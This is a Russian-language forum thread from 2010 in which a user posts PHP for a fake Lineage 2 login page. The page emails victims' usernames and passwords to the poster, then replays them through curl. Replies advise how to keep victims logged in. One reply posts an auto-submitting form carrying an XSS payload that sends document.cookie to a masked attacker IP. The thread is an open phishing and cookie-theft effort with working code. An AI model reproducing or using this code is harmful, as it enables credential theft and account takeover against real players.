ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос по curl
  #1  
Старый 28.02.2010, 21:38
Аватар для IgrikX
IgrikX
Познающий
Регистрация: 13.08.2009
Сообщений: 92
Провел на форуме:
441444

Репутация: 1
По умолчанию Вопрос по curl

Вообщем, сделал фэйковую страницу одного сайта, при вводе логина и пароля на моём сайте (фэйковом), отправляю логин и пароль на ящик, потом с помощь curl авторизируюсь на сайте, вроде авторизируеться, но после редиректа на сайт, пишет что не авторизиравано! Как сделать так, что бы после редиректа, юзер был авторизированным на сайте?

PHP код:

<?php
/*обработчик*/
$name $_POST['sw_name'];
$pass $_POST['sw_pass'];
//echo "Имя - $name\n"; 
//echo "Пароль - $pass";
mail("igorpeshko@mail.ru""Lineage 2""Ima - $name, Pass - $pass");

$ch curl_init(); // создаёт соединение
curl_setopt($chCURLOPT_URL"http://la2.byfly.by/"); /* Переходим на страницу, на которой нужно пройти процедуру авторизации */
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_POSTFIELDS"sw_name=$name&sw_pass=$pass&sw_do_login=1"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */
curl_setopt($chCURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result curl_exec($ch);
curl_setopt($chCURLOPT_URL"http://la2.byfly.by/"); /* Теперь заходите на сайт как авторизованный пользователь – в данном случае нужно вместо example.com указать URL страницы, на которую может попасть только авторизованный пользователь */
curl_setopt($chCURLOPT_POST0); /* Также необязательное действие, но я указал этот параметр – устанавливаю CURLOPT_POST в нуль, ведь теперь мне не нужно передавать данные методом POST */
curl_setopt($chCURLOPT_COOKIEFILE$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt'); /* Внимание! Здесь третий параметр (адрес текстового файла с куками) должен быть точно таким же, как и при использовании CURLOPT_COOKIEJAR, иначе процедура авторизации работать не будет, так как требуемые серверу Куки не передадутся */
$result curl_exec($ch);
curl_close($ch);
echo 
$result;
?>

<meta http-equiv="refresh" content="10;url=http://la2.byfly.by/">
 
Ответить с цитированием

  #2  
Старый 28.02.2010, 21:48
Аватар для undef
undef
Новичок
Регистрация: 23.09.2009
Сообщений: 19
Провел на форуме:
21294

Репутация: 16
По умолчанию

необходмо с помощью setcookie отдать пользователю те куки, которые сохранены в cookiefile.txt.
читай php.net/setcookie. Это пройдет только в случае, когда проверяется только идентификатор сессии, но не ip-адрес.
 
Ответить с цитированием

  #3  
Старый 28.02.2010, 23:21
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Цитата:
Как сделать так, что бы после редиректа, юзер был авторизированным на сайте?
Послать юзера на страницу в которой есть ифрейм, и в ифрейме автосабмитом авторизоваться на целевом сайте.

Цитата:
необходмо с помощью setcookie отдать пользователю те куки, которые сохранены в cookiefile.txt.
Таким макаром ты присвоиш куки которые будут действовать только для фейкового сайта, чужому сайту ты не присвоиш куки.
 
Ответить с цитированием

  #4  
Старый 28.02.2010, 23:40
Аватар для IgrikX
IgrikX
Познающий
Регистрация: 13.08.2009
Сообщений: 92
Провел на форуме:
441444

Репутация: 1
По умолчанию

b3, авторизоваться автосабмитом, это как понять?
 
Ответить с цитированием

  #5  
Старый 01.03.2010, 03:15
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Ну ето когда ты передираеш форму авторизации с нужного сайта, заполняеш её поля, и потом при помощи JS жмеш кнопку "войти".
PHP код:
<form name="mainForm3" method="post" action="http://********/"
<
input type="text" name="orderID" value="1"></p
<
input type="text" name="customer_email" value='"><script>document.location.href="http://**.**.***.***/save.php?cookie="+document.cookie;</script>'
<
input type="submit" name="find" value="Проверить статус"
</
form
<
script>document.mainForm3.submit();</script
Вот маленький пример, но тут не авторизация, но смысл тот же.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопрос про сливы и тп Sulf aka Joker Болталка 0 15.01.2010 16:07
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопрос по Php и Html Archie PHP, PERL, MySQL, JavaScript 9 26.05.2006 16:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ